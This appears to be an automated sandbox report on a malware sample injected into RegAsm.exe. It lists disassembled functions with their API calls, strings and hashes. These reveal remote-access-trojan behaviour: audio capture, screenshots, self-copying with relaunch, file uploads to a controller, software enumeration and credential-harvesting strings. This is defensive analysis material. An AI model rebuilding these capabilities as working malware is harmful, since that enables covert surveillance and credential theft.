                      Function 0041B047 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON
                      Download Yara Rule
                      APIs
                      • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041B13C
                      • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041B150
                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,004660A4), ref: 0041B178
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0041B18E
                      • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041B1CF
                      • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041B1E7
                      • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041B1FC
                      • SetEvent.KERNEL32 ref: 0041B219
                      • WaitForSingleObject.KERNEL32(000001F4), ref: 0041B22A
                      • CloseHandle.KERNEL32 ref: 0041B23A
                      • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041B25C
                      • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041B266
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                      • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$NG
                      • API String ID: 738084811-2094122233
                      • Opcode ID: 915ea97425a421c3b0b360962332b058f157651fe3be4e3934032a8821c14c71
                      • Instruction ID: fe650b41180b39ed17604f18bcb9a712e211fca36760164052b554565c231c06
                      • Opcode Fuzzy Hash: 915ea97425a421c3b0b360962332b058f157651fe3be4e3934032a8821c14c71
                      • Instruction Fuzzy Hash: 0351A3B12842056AD314B771DC96ABF379CDB84358F10043FB64A521E2EF788D48CA6E
                      Function 00401A6D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                      • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401B03
                      • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401B13
                      • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401B23
                      • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401B33
                      • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401B43
                      • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B54
                      • WriteFile.KERNEL32(00000000,00472AAA,00000002,00000000,00000000), ref: 00401B65
                      • WriteFile.KERNEL32(00000000,00472AAC,00000004,00000000,00000000), ref: 00401B75
                      • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401B85
                      • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B96
                      • WriteFile.KERNEL32(00000000,00472AB6,00000002,00000000,00000000), ref: 00401BA7
                      • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401BB7
                      • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401BC7
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$Write$Create
                      • String ID: RIFF$WAVE$data$fmt
                      • API String ID: 1602526932-4212202414
                      • Opcode ID: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                      • Instruction ID: 2ec91bc18be8700290cedec85ec8f66933089e8d2246bcc6fed4c3761e19f715
                      • Opcode Fuzzy Hash: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                      • Instruction Fuzzy Hash: EB414E72644308BAE210DA51DD86FBB7EECEB89B50F40441AF644D60C0D7A4E909DBB3
                      Function 00407270 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000001,0040764D,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000003,00407675,004752D8,004076CE), ref: 00407284
                      • GetProcAddress.KERNEL32(00000000), ref: 0040728D
                      • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 004072A2
                      • GetProcAddress.KERNEL32(00000000), ref: 004072A5
                      • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 004072B6
                      • GetProcAddress.KERNEL32(00000000), ref: 004072B9
                      • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 004072CA
                      • GetProcAddress.KERNEL32(00000000), ref: 004072CD
                      • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 004072DE
                      • GetProcAddress.KERNEL32(00000000), ref: 004072E1
                      • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 004072F2
                      • GetProcAddress.KERNEL32(00000000), ref: 004072F5
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressHandleModuleProc
                      • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                      • API String ID: 1646373207-255920310
                      • Opcode ID: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                      • Instruction ID: f839149ce94c73eee9bda0254407c114f4740b95dc73f4bc012c28e2a4ae17e7
                      • Opcode Fuzzy Hash: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                      • Instruction Fuzzy Hash: 520171E0E4431676DB216F3A6C54D4B6F9C9E5125131A087BB409E2292FEBCE800CE6D
                      Function 1000173A Relevance: 30.0, APIs: 5, Strings: 12, Instructions: 210COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _strlen
                      • String ID: Acco$Acco$POP3$POP3$Pass$Pass$t$t$un$un$word$word
                      • API String ID: 4218353326-3023110444
                      • Opcode ID: 6f2763eb29f99e55b9fa1c4501e1124463a6139b8cfee53aa49ae728a3ea04e1
                      • Instruction ID: bb93a2ec4ecc4c0c7ac40ef0fbf5621e946fdf476ba73097d2750e43d9e064ca
                      • Opcode Fuzzy Hash: 6f2763eb29f99e55b9fa1c4501e1124463a6139b8cfee53aa49ae728a3ea04e1
                      • Instruction Fuzzy Hash: 69612475D04218ABFF11CBE4C851BDEB7F9EF45280F00409AE604A7299EF706A45CF96
                      Function 0040CDF9 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 203fileCOMMON
                      Download Yara Rule
                      APIs
                      • _wcslen.LIBCMT ref: 0040CE07
                      • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040CE20
                      • CopyFileW.KERNEL32 ref: 0040CED0
                      • _wcslen.LIBCMT ref: 0040CEE6
                      • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040CF6E
                      • CopyFileW.KERNEL32 ref: 0040CF84
                      • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFC3
                      • _wcslen.LIBCMT ref: 0040CFC6
                      • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFDD
                      • CloseHandle.KERNEL32 ref: 0040D02D
                      • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000001), ref: 0040D04B
                      • ExitProcess.KERNEL32 ref: 0040D062
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
                      • String ID: 6$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$del$open
                      • API String ID: 1579085052-2309681474
                      • Opcode ID: 37bf41b36f569e96123a73dee1261e03dac0feab31b5a087a033d73400f0ce52
                      • Instruction ID: 6918cae47ac4af68ec004dabb58255b0e3542cbe00f5913d2fcd66cab837b2ae
                      • Opcode Fuzzy Hash: 37bf41b36f569e96123a73dee1261e03dac0feab31b5a087a033d73400f0ce52
                      • Instruction Fuzzy Hash: CA51A620208302ABD605B7659C92A6F679D9F84719F10443FF609A62E3EFBC9D05866E
                      Function 0041C01B Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                      Download Yara Rule
                      APIs
                      • lstrlenW.KERNEL32(?), ref: 0041C036
                      • _memcmp.LIBVCRUNTIME ref: 0041C04E
                      • lstrlenW.KERNEL32(?), ref: 0041C067
                      • FindFirstVolumeW.KERNEL32 ref: 0041C0A2
                      • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041C0B5
                      • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041C0F9
                      • lstrcmpW.KERNEL32(?,?), ref: 0041C114
                      • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041C12C
                      • _wcslen.LIBCMT ref: 0041C13B
                      • FindVolumeClose.KERNEL32 ref: 0041C15B
                      • GetLastError.KERNEL32 ref: 0041C173
                      • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041C1A0
                      • lstrcatW.KERNEL32 ref: 0041C1B9
                      • lstrcpyW.KERNEL32(?,?), ref: 0041C1C8
                      • GetLastError.KERNEL32 ref: 0041C1D0
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                      • String ID: ?
                      • API String ID: 3941738427-1684325040
                      • Opcode ID: 8bb61c95002590c369f4a1d7d05134d86b2ad7932cc4dc2ebb1cdf4d201e776a
                      • Instruction ID: a349862c8cee18361e8dc915c9858c0b302c9409c899df8dda18ff866c7f94c5
                      • Opcode Fuzzy Hash: 8bb61c95002590c369f4a1d7d05134d86b2ad7932cc4dc2ebb1cdf4d201e776a
                      • Instruction Fuzzy Hash: 8B416171584316EBD720DFA0DC889EB77ECAB49755F00092BF545C2261EB78C988CBDA
                      Function 100019B2 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 218COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _strlen
                      • String ID: %m$~$Gon~$~F@7$~dra
                      • API String ID: 4218353326-230879103
                      • Opcode ID: 5313ffee17f5d615fcbb67a61029f9413697531bcd3fb870ba25ca75e457194f
                      • Instruction ID: 2a57ee3bda34e0ca62253b4f9cdd28a92c7aa5ebcaa9e167bfd7dd38749d7a78
                      • Opcode Fuzzy Hash: 5313ffee17f5d615fcbb67a61029f9413697531bcd3fb870ba25ca75e457194f
                      • Instruction Fuzzy Hash: 9371F5B5D002685BEF11DBB49895BDF7BFCDB05280F104096E644D7246EB74EB85CBA0
                      Function 0044F42D Relevance: 24.4, APIs: 16, Instructions: 419COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$EnvironmentVariable
                      • String ID:
                      • API String ID: 1464849758-0
                      • Opcode ID: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
                      • Instruction ID: f75d98bba309171a1893162bbba9979c566f834f65d54a181aa040c21db392b6
                      • Opcode Fuzzy Hash: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
                      • Instruction Fuzzy Hash: C4D13672D007006BFB20AF799D81A6B77A4EF01318F05427FE919A7382EB3D99058799
                      Function 0041C68F Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041C6B1
                      • RegEnumKeyExA.ADVAPI32 ref: 0041C6F5
                      • RegCloseKey.ADVAPI32(?), ref: 0041C9BF
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseEnumOpen
                      • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
                      • API String ID: 1332880857-3714951968
                      • Opcode ID: 01bc9fe353fd2bad3d2e5d6b02442aa3bdaad2c57b214901d2918a8b4713c134
                      • Instruction ID: af0903b0dab8fbea49832074ad132f154b97281cd99b968e1e8b6bf9777b958e
                      • Opcode Fuzzy Hash: 01bc9fe353fd2bad3d2e5d6b02442aa3bdaad2c57b214901d2918a8b4713c134
                      • Instruction Fuzzy Hash: 248144711083419BC325EF11D851EEFB7E8BF94309F10492FB589921A1FF78AE49CA5A
                      Function 0041D58F Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON
                      Download Yara Rule
                      APIs
                      • DefWindowProcA.USER32(?,00000401,?,?), ref: 0041D5DA
                      • GetCursorPos.USER32(?), ref: 0041D5E9
                      • SetForegroundWindow.USER32(?), ref: 0041D5F2
                      • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041D60C
                      • Shell_NotifyIconA.SHELL32(00000002,00474B48), ref: 0041D65D
                      • ExitProcess.KERNEL32 ref: 0041D665
                      • CreatePopupMenu.USER32 ref: 0041D66B
                      • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041D680
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                      • String ID: Close
                      • API String ID: 1657328048-3535843008
                      • Opcode ID: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                      • Instruction ID: 483e3be36cf21f9f431d69439bfbb75804d706e25d1e382f075e68ac53faeb55
                      • Opcode Fuzzy Hash: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                      • Instruction Fuzzy Hash: 392127B1944208FFDB194FA4ED0EAAA3B65FB08342F000135FA0A950B1D775EDA1EB5D
                      Function 00445D56 Relevance: 22.8, APIs: 15, Instructions: 296COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$Info
                      • String ID:
                      • API String ID: 2509303402-0
                      • Opcode ID: c43f3e9ef6aa90fc617fbeb0adb34ec0a6d023508037e2c59db227b807854484
                      • Instruction ID: 88ee944febda996c7adaaf7605242af7944d99fb061a5fd2e4f26fad8993db39
                      • Opcode Fuzzy Hash: c43f3e9ef6aa90fc617fbeb0adb34ec0a6d023508037e2c59db227b807854484
                      • Instruction Fuzzy Hash: 75B1CD719006059FEF20DF69C881BEEBBB4FF09304F14412EF5A8A7242D6799D45CB65
                      Function 00408B7A Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 328fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00408CE3
                      • GetFileSizeEx.KERNEL32(00000000,?), ref: 00408D1B
                      • __aulldiv.LIBCMT ref: 00408D4D
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 00408E70
                      • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408E8B
                      • CloseHandle.KERNEL32(00000000), ref: 00408F64
                      • CloseHandle.KERNEL32(00000000), ref: 00408FAE
                      • CloseHandle.KERNEL32(00000000), ref: 00408FFC
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldivsend
                      • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $NG
                      • API String ID: 3086580692-2582957567
                      • Opcode ID: fab45d6a79c9ac0bf1655f247f025cadc321dba09b469fb01c23ef7c289d3ac7
                      • Instruction ID: 4fd1ef8f0950b8c70c5ee12d710945c0a569e6ad21e20d2a74dcf75f3ec9a52d
                      • Opcode Fuzzy Hash: fab45d6a79c9ac0bf1655f247f025cadc321dba09b469fb01c23ef7c289d3ac7
                      • Instruction Fuzzy Hash: 95B193716083409BC314FB25C982AAFB7E5AFC4354F50492FF589622D2EF789945CB8B
                      Function 10007CC2 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • ___free_lconv_mon.LIBCMT ref: 10007D06
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 100090D7
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 100090E9
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 100090FB
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 1000910D
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 1000911F
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 10009131
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 10009143
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 10009155
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 10009167
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 10009179
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 1000918B
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 1000919D
                        • Part of subcall function 100090BA: _free.LIBCMT ref: 100091AF
                      • _free.LIBCMT ref: 10007CFB
                        • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000), ref: 10005734
                        • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                      • _free.LIBCMT ref: 10007D1D
                      • _free.LIBCMT ref: 10007D32
                      • _free.LIBCMT ref: 10007D3D
                      • _free.LIBCMT ref: 10007D5F
                      • _free.LIBCMT ref: 10007D72
                      • _free.LIBCMT ref: 10007D80
                      • _free.LIBCMT ref: 10007D8B
                      • _free.LIBCMT ref: 10007DC3
                      • _free.LIBCMT ref: 10007DCA
                      • _free.LIBCMT ref: 10007DE7
                      • _free.LIBCMT ref: 10007DFF
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                      • String ID:
                      • API String ID: 161543041-0
                      • Opcode ID: 04f87de51616aa77c632626b63215b7c3e2981daeb02be256c48a4a07a0be686
                      • Instruction ID: 6de9b84f5b51ee4e35cbeb1ed48e08772f21b212059d2ac72beb9c863e9ed859
                      • Opcode Fuzzy Hash: 04f87de51616aa77c632626b63215b7c3e2981daeb02be256c48a4a07a0be686
                      • Instruction Fuzzy Hash: 90313931A04645EFFB21DA38E941B6A77FAFF002D1F11446AE84DDB159DE3ABC809B14
                      Function 004512C6 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • ___free_lconv_mon.LIBCMT ref: 0045130A
                        • Part of subcall function 00450502: _free.LIBCMT ref: 0045051F
                        • Part of subcall function 00450502: _free.LIBCMT ref: 00450531
                        • Part of subcall function 00450502: _free.LIBCMT ref: 00450543
                        • Part of subcall function 00450502: _free.LIBCMT ref: 00450555
                        • Part of subcall function 00450502: _free.LIBCMT ref: 00450567
                        • Part of subcall function 00450502: _free.LIBCMT ref: 00450579
                        • Part of subcall function 00450502: _free.LIBCMT ref: 0045058B
                        • Part of subcall function 00450502: _free.LIBCMT ref: 0045059D
                        • Part of subcall function 00450502: _free.LIBCMT ref: 004505AF
                        • Part of subcall function 00450502: _free.LIBCMT ref: 004505C1
                        • Part of subcall function 00450502: _free.LIBCMT ref: 004505D3
                        • Part of subcall function 00450502: _free.LIBCMT ref: 004505E5
                        • Part of subcall function 00450502: _free.LIBCMT ref: 004505F7
                      • _free.LIBCMT ref: 004512FF
                        • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                        • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                      • _free.LIBCMT ref: 00451321
                      • _free.LIBCMT ref: 00451336
                      • _free.LIBCMT ref: 00451341
                      • _free.LIBCMT ref: 00451363
                      • _free.LIBCMT ref: 00451376
                      • _free.LIBCMT ref: 00451384
                      • _free.LIBCMT ref: 0045138F
                      • _free.LIBCMT ref: 004513C7
                      • _free.LIBCMT ref: 004513CE
                      • _free.LIBCMT ref: 004513EB
                      • _free.LIBCMT ref: 00451403
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                      • String ID:
                      • API String ID: 161543041-0
                      • Opcode ID: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                      • Instruction ID: 673b37a441ff9bbb7eb6cd98574e5fa8379d72fae64c09c4febd1ea684bb8cd8
                      • Opcode Fuzzy Hash: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                      • Instruction Fuzzy Hash: 0E319E315007009FFB20AA7AD845B5B73E8EF0131AF50851FEC68D7662DF78AD448B59
                      Function 00419FB4 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176sleeptimeCOMMON
                      Download Yara Rule
                      APIs
                      • __EH_prolog.LIBCMT ref: 00419FB9
                      • GdiplusStartup.GDIPLUS(00474ACC,?,00000000), ref: 00419FEB
                      • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 0041A077
                      • Sleep.KERNEL32(000003E8), ref: 0041A0FD
                      • GetLocalTime.KERNEL32(?), ref: 0041A105
                      • Sleep.KERNEL32(00000000,00000018,00000000), ref: 0041A1F4
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
                      • String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i$PG$PG$PG
                      • API String ID: 489098229-1431523004
                      • Opcode ID: 8e408b2f37b5a40c6075e10aa462efa04368c9b3309c0ae95edff302c11cc8c3
                      • Instruction ID: 65e100c03f0dda0ba9a952c873ad8774fe275ee1deca45487f64c7c8a8292b0e
                      • Opcode Fuzzy Hash: 8e408b2f37b5a40c6075e10aa462efa04368c9b3309c0ae95edff302c11cc8c3
                      • Instruction Fuzzy Hash: E7515D70A00215AACB14BBB5C8529ED7BA9AB44308F40403FF509AB1E2EF7C9D85C799
                      Function 0040D7FF Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 148COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                        • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
